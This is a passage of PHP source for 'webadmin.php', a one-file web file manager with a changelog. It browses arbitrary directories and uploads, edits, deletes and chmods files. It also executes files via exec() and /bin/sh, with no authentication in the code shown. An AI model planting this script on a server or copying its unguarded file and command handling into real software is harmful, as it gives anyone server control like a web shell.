 *
 * Changes of revision 3
 * <nzunta@gabriele-erba.it>
 *    improved Italian translation
 *
 * Changes of revision 2
 * <daniel.wacker@web.de>
 *    got images work in some old browsers
 *    fixed creation of directories
 *    fixed files deletion
 *    improved path handling
 *    added missing word 'not_created'
 * <till@tuxen.de>
 *    improved human readability of file sizes
 * <nzunta@gabriele-erba.it>
 *    added Italian translation
 *
 * Changes of revision 1
 * <daniel.wacker@web.de>
 *    webadmin.php completely rewritten:
 *    - clean XHTML/CSS output
 *    - several files selectable
 *    - support for windows servers
 *    - no more treeview, because
 *      - webadmin.php is a >simple< file manager
 *      - performance problems (too much additional code)
 *      - I don't like: frames, java-script, to reload after every treeview-click
 *    - execution of shell scripts
 *    - introduced revision numbers
 *
/* ------------------------------------------------------------------------- */

/* Your language:
 * 'en' - English
 * 'de' - German
 * 'fr' - French
 * 'it' - Italian
 * 'nl' - Dutch
 * 'se' - Swedish
 * 'sp' - Spanish
 * 'dk' - Danish
 * 'tr' - Turkish
 * 'cs' - Czech
 * 'ru' - Russian
 * 'auto' - autoselect
 */
$lang = 'auto';

/* Charset of output:
 * possible values are described in the charset table at
 * http://www.php.net/manual/en/function.htmlentities.php
 * 'auto' - use the same charset as the words of my language are encoded
 */
$site_charset = 'auto';

/* Homedir:
 * For example: './' - the script's directory
 */
$homedir = './';

/* Size of the edit textarea
 */
$editcols = 80;
$editrows = 25;

/* -------------------------------------------
 * Optional configuration (remove # to enable)
 */

/* Permission of created directories:
 * For example: 0705 would be 'drwx---r-x'.
 */
# $dirpermission = 0705;

/* Permission of created files:
 * For example: 0604 would be '-rw----r--'.
 */
# $filepermission = 0604;

/* Filenames related to the apache web server:
 */
$htaccess = '.htaccess';
$htpasswd = '.htpasswd';

/* ------------------------------------------------------------------------- */

if (get_magic_quotes_gpc()) {
	array_walk($_GET, 'strip');
	array_walk($_POST, 'strip');
	array_walk($_REQUEST, 'strip');
}

if (array_key_exists('image', $_GET)) {
	header('Content-Type: image/gif');
	die(getimage($_GET['image']));
}

if (!function_exists('lstat')) {
	function lstat ($filename) {
		return stat($filename);
	}
}

$delim = DIRECTORY_SEPARATOR;

if (function_exists('php_uname')) {
	$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
} else {
	$win = ($delim == '\\') ? true : false;
}

if (!empty($_SERVER['PATH_TRANSLATED'])) {
	$scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
	$scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
} elseif (function_exists('getcwd')) {
	$scriptdir = getcwd();
} else {
	$scriptdir = '.';
}
$homedir = relative2absolute($homedir, $scriptdir);

$dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;

if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
	$dir = relative2absolute($dir, $_POST['olddir']);
}

$directory = simplify_path(addslash($dir));

$files = array();
$action = '';
if (!empty($_POST['submit_all'])) {
	$action = $_POST['action_all'];
	for ($i = 0; $i < $_POST['num']; $i++) {
		if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
			$files[] = $_POST["file$i"];
		}
	}
} elseif (!empty($_REQUEST['action'])) {
	$action = $_REQUEST['action'];
	$files[] = relative2absolute($_REQUEST['file'], $directory);
} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
	$files[] = $_FILES['upload'];
	$action = 'upload';
} elseif (array_key_exists('num', $_POST)) {
	for ($i = 0; $i < $_POST['num']; $i++) {
		if (array_key_exists("submit$i", $_POST)) break;
	}
	if ($i < $_POST['num']) {
		$action = $_POST["action$i"];
		$files[] = $_POST["file$i"];
	}
}
if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
	$files[] = relative2absolute($_POST['create_name'], $directory);
	switch ($_POST['create_type']) {
	case 'directory':
		$action = 'create_directory';
		break;
	case 'file':
		$action = 'create_file';
	}
}
if (sizeof($files) == 0) $action = ''; else $file = reset($files);

if ($lang == 'auto') {
	if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
		$lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
	} else {
		$lang = 'en';
	}
}

$words = getwords($lang);

if ($site_charset == 'auto') {
	$site_charset = $word_charset;
}

$cols = ($win) ? 4 : 7;

if (!isset($dirpermission)) {
	$dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
}
if (!isset($filepermission)) {
	$filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
}

if (!empty($_SERVER['SCRIPT_NAME'])) {
	$self = html(basename($_SERVER['SCRIPT_NAME']));
} elseif (!empty($_SERVER['PHP_SELF'])) {
	$self = html(basename($_SERVER['PHP_SELF']));
} else {
	$self = '';
}

if (!empty($_SERVER['SERVER_SOFTWARE'])) {
	if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
		$apache = true;
	} else {
		$apache = false;
	}
} else {
	$apache = true;
}

switch ($action) {

case 'view':

	if (is_script($file)) {

		/* highlight_file is a mess! */
		ob_start();
		highlight_file($file);
		$src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
		$src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
		ob_end_clean();

		html_header();
		echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>

<hr />

<table>
<tr>
<td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
<pre style="margin-top: 0"><code>';

		for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";

		echo '</code></pre>
</td>
<td style="text-align: left; vertical-align: top; padding-left: 3pt">
<pre style="margin-top: 0">' . $src . '</pre>
</td>
</tr>
</table>

';

		html_footer();

	} else {

		header('Content-Type: ' . getmimetype($file));
		header('Content-Disposition: filename=' . basename($file));

		readfile($file);

	}

	break;

case 'download':

	header('Pragma: public');
	header('Expires: 0');
	header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
	header('Content-Type: ' . getmimetype($file));
	header('Content-Disposition: attachment; filename=' . basename($file) . ';');
	header('Content-Length: ' . filesize($file));

	readfile($file);

	break;

case 'upload':

	$dest = relative2absolute($file['name'], $directory);

	if (@file_exists($dest)) {
		listing_page(error('already_exists', $dest));
	} elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
		@chmod($dest, $filepermission);
		listing_page(notice('uploaded', $file['name']));
	} else {
		listing_page(error('not_uploaded', $file['name']));
	}

	break;

case 'create_directory':

	if (@file_exists($file)) {
		listing_page(error('already_exists', $file));
	} else {
		$old = @umask(0777 & ~$dirpermission);
		if (@mkdir($file, $dirpermission)) {
			listing_page(notice('created', $file));
		} else {
			listing_page(error('not_created', $file));
		}
		@umask($old);
	}

	break;

case 'create_file':

	if (@file_exists($file)) {
		listing_page(error('already_exists', $file));
	} else {
		$old = @umask(0777 & ~$filepermission);
		if (@touch($file)) {
			edit($file);
		} else {
			listing_page(error('not_created', $file));
		}
		@umask($old);
	}

	break;

case 'execute':

	chdir(dirname($file));

	$output = array();
	$retval = 0;
	exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);

	$error = ($retval == 0) ? false : true;

	if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');

	if ($error) {
		listing_page(error('not_executed', $file, implode("\n", $output)));
	} else {
		listing_page(notice('executed', $file, implode("\n", $output)));
	}

	break;

case 'delete':

	if (!empty($_POST['no'])) {
		listing_page();
	} elseif (!empty($_POST['yes'])) {

		$failure = array();
		$success = array();

		foreach ($files as $file) {
			if (del($file)) {
				$success[] = $file;
			} else {
				$failure[] = $file;
			}
		}

		$message = '';
		if (sizeof($failure) > 0) {
			$message = error('not_deleted', implode("\n", $failure));
		}
		if (sizeof($success) > 0) {
			$message .= notice('deleted', implode("\n", $success));
		}

		listing_page($message);

	} else {

		html_header();

		echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
';

		request_dump();

		echo "\t<b>" . word('really_delete') . '</b>
	<p>
';

		foreach ($files as $file) {
			echo "\t" . html($file) . "<br />\n";
		}

		echo '	</p>
	<hr />
	<input type="submit" name="no" value="' . word('no') . '" id="red_button" />
	<input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
</td>
</tr>
</table>
</form>

';

		html_footer();

	}

	break;

case 'rename':

	if (!empty($_POST['destination'])) {

		$dest = relative2absolute($_POST['destination'], $directory);

		if (!@file_exists($dest) && @rename($file, $dest)) {
			listing_page(notice('renamed', $file, $dest));
		} else {
			listing_page(error('not_renamed', $file, $dest));
		}

	} else {

		$name = basename($file);

		html_header();

		echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
	<input type="hidden" name="action" value="rename" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />
	<b>' . word('rename_file') . '</b>
	<p>' . html($file) . '</p>
	<b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
	<input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
	<hr />
	<input type="submit" value="' . word('rename') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

		html_footer();

	}

	break;

case 'move':

	if (!empty($_POST['destination'])) {

		$dest = relative2absolute($_POST['destination'], $directory);

		$failure = array();
		$success = array();

		foreach ($files as $file) {
			$filename = substr($file, strlen($directory));
			$d = $dest . $filename;
			if (!@file_exists($d) && @rename($file, $d)) {
				$success[] = $file;
			} else {
				$failure[] = $file;
			}
		}

		$message = '';
		if (sizeof($failure) > 0) {
			$message = error('not_moved', implode("\n", $failure), $dest);
		}
		if (sizeof($success) > 0) {
			$message .= notice('moved', implode("\n", $success), $dest);
		}

		listing_page($message);

	} else {

		html_header();

		echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
';

		request_dump();

		echo "\t<b>" . word('move_files') . '</b>
	<p>
';

		foreach ($files as $file) {
			echo "\t" . html($file) . "<br />\n";
		}

		echo '	</p>
	<hr />
	' . word('destination') . ':
	<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
	<input type="submit" value="' . word('move') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

		html_footer();

	}

	break;

case 'copy':

	if (!empty($_POST['destination'])) {

		$dest = relative2absolute($_POST['destination'], $directory);

		if (@is_dir($dest)) {

			$failure = array();
			$success = array();

			foreach ($files as $file) {
				$filename = substr($file, strlen($directory));
				$d = addslash($dest) . $filename;
				if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
					$success[] = $file;
				} else {
					$failure[] = $file;
				}
			}

			$message = '';
			if (sizeof($failure) > 0) {
				$message = error('not_copied', implode("\n", $failure), $dest);
			}
			if (sizeof($success) > 0) {
				$message .= notice('copied', implode("\n", $success), $dest);
			}

			listing_page($message);

		} else {

			if (!@file_exists($dest) && @copy($file, $dest)) {
				listing_page(notice('copied', $file, $dest));
			} else {
				listing_page(error('not_copied', $file, $dest));
			}

		}

	} else {

		html_header();

		echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
';

		request_dump();

		echo "\n<b>" . word('copy_files') . '</b>
	<p>
';

		foreach ($files as $file) {
			echo "\t" . html($file) . "<br />\n";
		}

		echo '	</p>
	<hr />
	' . word('destination') . ':
	<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
	<input type="submit" value="' . word('copy') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

		html_footer();

	}

	break;

case 'create_symlink':

	if (!empty($_POST['destination'])) {

		$dest = relative2absolute($_POST['destination'], $directory);

		if (substr($dest, -1, 1) == $delim) $dest .= basename($file);

		if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);

		if (!@file_exists($dest) && @symlink($file, $dest)) {
			listing_page(notice('symlinked', $file, $dest));
		} else {
			listing_page(error('not_symlinked', $file, $dest));
		}

	} else {

		html_header();

		echo '<form action="' . $self . '" method="post">

<table class="dialog" id="symlink">
<tr>
	<td style="vertical-align: top">' . word('destination') . ': </td>
	<td>
		<b>' . html($file) . '</b><br />
		<input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
		<label for="checkbox_relative">' . word('relative') . '</label>
		<input type="hidden" name="action" value="create_symlink" />
		<input type="hidden" name="file" value="' . html($file) . '" />
		<input type="hidden" name="dir" value="' . html($directory) . '" />
	</td>
</tr>
<tr>
	<td>' . word('symlink') . ': </td>
	<td>
		<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
		<input type="submit" value="' . word('create_symlink') . '" />
	</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

		html_footer();

	}

	break;

case 'edit':

	if (!empty($_POST['save'])) {

		$content = str_replace("\r\n", "\n", $_POST['content']);

		if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
			listing_page(notice('saved', $file));
		} else {
			listing_page(error('not_saved', $file));
		}

	} else {

		if (@is_readable($file) && @is_writable($file)) {
			edit($file);
		} else {
			listing_page(error('not_edited', $file));
		}

	}

	break;

case 'permission':

	if (!empty($_POST['set'])) {

		$mode = 0;
		if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
		if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
		if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;

		if (@chmod($file, $mode)) {
			listing_page(notice('permission_set', $file, decoct($mode)));
		} else {
			listing_page(error('permission_not_set', $file, decoct($mode)));
		}

	} else {

		html_header();

		$mode = fileperms($file);

		echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">

	<p style="margin: 0">' . phrase('permission_for', $file) . '</p>

	<hr />

	<table id="permission">
	<tr>
		<td></td>
		<td style="border-right: 1px solid black">' . word('owner') . '</td>
		<td style="border-right: 1px solid black">' . word('group') . '</td>
		<td>' . word('other') . '</td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('read') . ':</td>
		<td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('write') . ':</td>
		<td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('execute') . ':</td>
		<td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
	</tr>
	</table>

	<hr />

	<input type="submit" name="set" value="' . word('set') . '" />

	<input type="hidden" name="action" value="permission" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />

</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

		html_footer();

	}

	break;

default:

	listing_page();

}

/* ------------------------------------------------------------------------- */

function getlist ($directory) {
	global $delim, $win;

	if ($d = @opendir($directory)) {

		while (($filename = @readdir($d)) !== false) {

			$path = $directory . $filename;

			if ($stat = @lstat($path)) {

				$file = array(
					'filename'    => $filename,
					'path'        => $path,
					'is_file'     => @is_file($path),
					'is_dir'      => @is_dir($path),
					'is_link'     => @is_link($path),
					'is_readable' => @is_readable($path),
					'is_writable' => @is_writable($path),
					'size'        => $stat['size'],
					'permission'  => $stat['mode'],
					'owner'       => $stat['uid'],
					'group'       => $stat['gid'],
					'mtime'       => @filemtime($path),
					'atime'       => @fileatime($path),
					'ctime'       => @filectime($path)
				);

				if ($file['is_dir']) {
					$file['is_executable'] = @file_exists($path . $delim . '.');
				} else {
					if (!$win) {
						$file['is_executable'] = @is_executable($path);
					} else {
						$file['is_executable'] = true;
					}
				}

				if ($file['is_link']) $file['target'] = @readlink($path);

				if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
				if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));

				$files[] = $file;

			}

		}

		return $files;

	} else {
		return false;
	}

}

function sortlist ($list, $key, $reverse) {

	$dirs = array();
	$files = array();
	
	for ($i = 0; $i < sizeof($list); $i++) {
		if ($list[$i]['is_dir']) $dirs[] = $list[$i];
		else $files[] = $list[$i];
	}

	quicksort($dirs, 0, sizeof($dirs) - 1, $key);
	if ($reverse) $dirs = array_reverse($dirs);

	quicksort($files, 0, sizeof($files) - 1, $key);
	if ($reverse) $files = array_reverse($files);

	return array_merge($dirs, $files);

}

function quicksort (&$array, $first, $last, $key) {

	if ($first < $last) {

		$cmp = $array[floor(($first + $last) / 2)][$key];

		$l = $first;
		$r = $last;

		while ($l <= $r) {

			while ($array[$l][$key] < $cmp) $l++;
			while ($array[$r][$key] > $cmp) $r--;

			if ($l <= $r) {

				$tmp = $array[$l];
				$array[$l] = $array[$r];
				$array[$r] = $tmp;

				$l++;
				$r--;

			}

		}

		quicksort($array, $first, $r, $key);
		quicksort($array, $l, $last, $key);

	}

}

function permission_octal2string ($mode) {

	if (($mode & 0xC000) === 0xC000) {
		$type = 's';
	} elseif (($mode & 0xA000) === 0xA000) {
		$type = 'l';
	} elseif (($mode & 0x8000) === 0x8000) {
		$type = '-';
	} elseif (($mode & 0x6000) === 0x6000) {
		$type = 'b';
	} elseif (($mode & 0x4000) === 0x4000) {
		$type = 'd';
	} elseif (($mode & 0x2000) === 0x2000) {
		$type = 'c';
	} elseif (($mode & 0x1000) === 0x1000) {
		$type = 'p';
	} else {
		$type = '?';
	}

	$owner  = ($mode & 00400) ? 'r' : '-';
	$owner .= ($mode & 00200) ? 'w' : '-';
	if ($mode & 0x800) {
		$owner .= ($mode & 00100) ? 's' : 'S';
	} else {
		$owner .= ($mode & 00100) ? 'x' : '-';
	}

	$group  = ($mode & 00040) ? 'r' : '-';
	$group .= ($mode & 00020) ? 'w' : '-';
	if ($mode & 0x400) {
		$group .= ($mode & 00010) ? 's' : 'S';
	} else {
		$group .= ($mode & 00010) ? 'x' : '-';
	}

	$other  = ($mode & 00004) ? 'r' : '-';
	$other .= ($mode & 00002) ? 'w' : '-';
	if ($mode & 0x200) {
		$other .= ($mode & 00001) ? 't' : 'T';
	} else {
		$other .= ($mode & 00001) ? 'x' : '-';
	}

	return $type . $owner . $group . $other;

}

function is_script ($filename) {
	return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
}

function getmimetype ($filename) {
	static $mimes = array(
		'\.jpg$|\.jpeg$'  => 'image/jpeg',
		'\.gif$'          => 'image/gif',
		'\.png$'          => 'image/png',
		'\.html$|\.html$' => 'text/html',
		'\.txt$|\.asc$'   => 'text/plain',
		'\.xml$|\.xsl$'   => 'application/xml',
		'\.pdf$'          => 'application/pdf'
	);

	foreach ($mimes as $regex => $mime) {
		if (eregi($regex, $filename)) return $mime;
	}

	// return 'application/octet-stream';
	return 'text/plain';

}

function del ($file) {
	global $delim;

	if (!file_exists($file)) return false;

	if (@is_dir($file) && !@is_link($file)) {

		$success = false;

		if (@rmdir($file)) {

			$success = true;

		} elseif ($dir = @opendir($file)) {

			$success = true;

			while (($f = readdir($dir)) !== false) {
				if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
					$success = false;
				}
			}
			closedir($dir);

			if ($success) $success = @rmdir($file);

		}

		return $success;

	}

	return @unlink($file);

}

function addslash ($directory) {
	global $delim;

	if (substr($directory, -1, 1) != $delim) {
		return $directory . $delim;
	} else {
		return $directory;
	}

}

function relative2absolute ($string, $directory) {

	if (path_is_relative($string)) {
		return simplify_path(addslash($directory) . $string);
	} else {
		return simplify_path($string);
	}

}

function path_is_relative ($path) {
	global $win;

	if ($win) {
		return (substr($path, 1, 1) != ':');
	} else {
		return (substr($path, 0, 1) != '/');
	}

}

function absolute2relative ($directory, $target) {
	global $delim;

	$path = '';
	while ($directory != $target) {
		if ($directory == substr($target, 0, strlen($directory))) {
			$path .= substr($target, strlen($directory));
			break;
		} else {
			$path .= '..' . $delim;
			$directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
		}
	}
	if ($path == '') $path = '.';

	return $path;

}

function simplify_path ($path) {
	global $delim;

	if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
		$path = realpath($path);
		if (@is_dir($path)) {
			return addslash($path);
		} else {
			return $path;
		}
	}

	$pattern  = $delim . '.' . $delim;

	if (@is_dir($path)) {
		$path = addslash($path);
	}

	while (strpos($path, $pattern) !== false) {
		$path = str_replace($pattern, $delim, $path);
	}

	$e = addslashes($delim);
	$regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;

	while (ereg($regex, $path)) {
		$path = ereg_replace($regex, $delim, $path);
	}
	
	return $path;

}

function human_filesize ($filesize) {

	$suffices = 'kMGTPE';

	$n = 0;
	while ($filesize >= 1000) {
		$filesize /= 1024;
		$n++;
	}

	$filesize = round($filesize, 3 - strpos($filesize, '.'));

	if (strpos($filesize, '.') !== false) {
		while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
			$filesize = substr($filesize, 0, strlen($filesize) - 1);
		}
	}

	$suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));

	return $filesize . " {$suffix}B";

}

function strip (&$str) {
	$str = stripslashes($str);
}

/* ------------------------------------------------------------------------- */

function listing_page ($message = null) {
	global $self, $directory, $sort, $reverse;

	html_header();

	$list = getlist($directory);

	if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
	if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;

	$list = sortlist($list, $sort, $reverse);

	echo '<h1 style="margin-bottom: 0">webadmin.php</h1>

<form enctype="multipart/form-data" action="' . $self . '" method="post">

<table id="main">
';

	directory_choice();

	if (!empty($message)) {
		spacer();
		echo $message;
	}

	if (@is_writable($directory)) {
		upload_box();
		create_box();
	} else {
		spacer();
	}

	if ($list) {
		listing($list);
	} else {
		echo error('not_readable', $directory);
	}

	echo '</table>

</form>

';

	html_footer();

}

function listing ($list) {
	global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;

	echo '<tr class="listing">
	<th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
';

	column_title('filename', $sort, $reverse);
	column_title('size', $sort, $reverse);

	if (!$win) {
		column_title('permission', $sort, $reverse);
		column_title('owner', $sort, $reverse);
		column_title('group', $sort, $reverse);
	}

	echo '	<th class="functions">' . word('functions') . '</th>
</tr>
';

	for ($i = 0; $i < sizeof($list); $i++) {
		$file = $list[$i];

		$timestamps  = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
		$timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
		$timestamps .= 'ctime: ' . date($date_format, $file['ctime']);

		echo '<tr class="listing">
	<td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
	<td class="filename" title="' . html($timestamps) . '">';

		if ($file['is_link']) {

			echo '<img src="' . $self . '?image=link" alt="link" /> ';
			echo html($file['filename']) . ' &rarr; ';

			$real_file = relative2absolute($file['target'], $directory);

			if (@is_readable($real_file)) {
				if (@is_dir($real_file)) {
					echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
				} else {
					echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
				}
			} else {
				echo html($file['target']);
			}

		} elseif ($file['is_dir']) {

			echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
			if ($win || $file['is_executable']) {
				echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
			} else {
				echo html($file['filename']);
			}
			echo ' ]';

		} else {

			if (substr($file['filename'], 0, 1) == '.') {
				echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
			} else {
				echo '<img src="' . $self . '?image=file" alt="file" /> ';
			}

			if ($file['is_file'] && $file['is_readable']) {
			   echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
			} else {
				echo html($file['filename']);
			}

		}

		if ($file['size'] >= 1000) {
			$human = ' title="' . human_filesize($file['size']) . '"';
		} else {
			$human = '';
		}

		echo "</td>\n";

		echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n";

		if (!$win) {

			echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';

			$l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
			if ($l) echo '<a href="' . $self . '?action=permission&amp;file=' . urlencode($file['path']) . '&amp;dir=' . urlencode($directory) . '">';
			echo html(permission_octal2string($file['permission']));
			if ($l) echo '</a>';

			echo "</td>\n";

			if (array_key_exists('owner_name', $file)) {
				echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
			} else {
				echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
			}

			if (array_key_exists('group_name', $file)) {
				echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
			} else {
				echo "\t<td class=\"group\">{$file['group']}</td>\n";
			}

		}

		echo '	<td class="functions">
		<input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
';

		$actions = array();
		if (function_exists('symlink')) {
			$actions[] = 'create_symlink';
		}
		if (@is_writable(dirname($file['path']))) {
			$actions[] = 'delete';
			$actions[] = 'rename';
			$actions[] = 'move';
		}
		if ($file['is_file'] && $file['is_readable']) {
			$actions[] = 'copy';
			$actions[] = 'download';
			if ($file['is_writable']) $actions[] = 'edit';
		}
		if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
			$actions[] = 'execute';
		}

		if (sizeof($actions) > 0) {

			echo '		<select class="small" name="action' . $i . '" size="1">
		<option value="">' . str_repeat('&nbsp;', 30) . '</option>
';

			foreach ($actions as $action) {
				echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
			}

			echo '		</select>
		<input class="small" type="submit" name="submit' . $i . '" value=" &gt; " onfocus="activate(\'other\')" />
';

		}

		echo '	</td>
</tr>
';

	}

	echo '<tr class="listing_footer">
	<td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt="&gt;" /></td>
	<td colspan="' . ($cols - 1) . '">
		<input type="hidden" name="num" value="' . sizeof($list) . '" />
		<input type="hidden" name="focus" value="" />
		<input type="hidden" name="olddir" value="' . html($directory) . '" />
';

	$actions = array();
	if (@is_writable(dirname($file['path']))) {
		$actions[] = 'delete';
		$actions[] = 'move';
	}
	$actions[] = 'copy';

	echo '		<select class="small" name="action_all" size="1">
		<option value="">' . str_repeat('&nbsp;', 30) . '</option>
';

	foreach ($actions as $action) {
		echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
	}

	echo '		</select>
		<input class="small" type="submit" name="submit_all" value=" &gt; " onfocus="activate(\'other\')" />
	</td>
</tr>
';

}

function column_title ($column, $sort, $reverse) {
	global $self, $directory;

	$d = 'dir=' . urlencode($directory) . '&amp;';

	if ($sort == $column) {
		if (!$reverse) {
			$r = '&amp;reverse=true';
			$arr = ' &and;';
		} else {
			$arr = ' &or;';
		}
	} else {
		$r = '';
	}
	echo "\t<th class=\"$column\"><a href=\"$self?{$d}sort=$column$r\">" . word($column) . "</a>$arr</th>\n";

}

function directory_choice () {
	global $directory, $homedir, $cols, $self;

	echo '<tr>
	<td colspan="' . $cols . '" id="directory">
		<a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
		<input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
		<input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
	</td>
</tr>
';

}

function upload_box () {
	global $cols;

	echo '<tr>
	<td colspan="' . $cols . '" id="upload">
		' . word('file') . ':
		<input type="file" name="upload" onfocus="activate(\'other\')" />
		<input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
	</td>
</tr>
';

}

function create_box () {
	global $cols;

	echo '<tr>
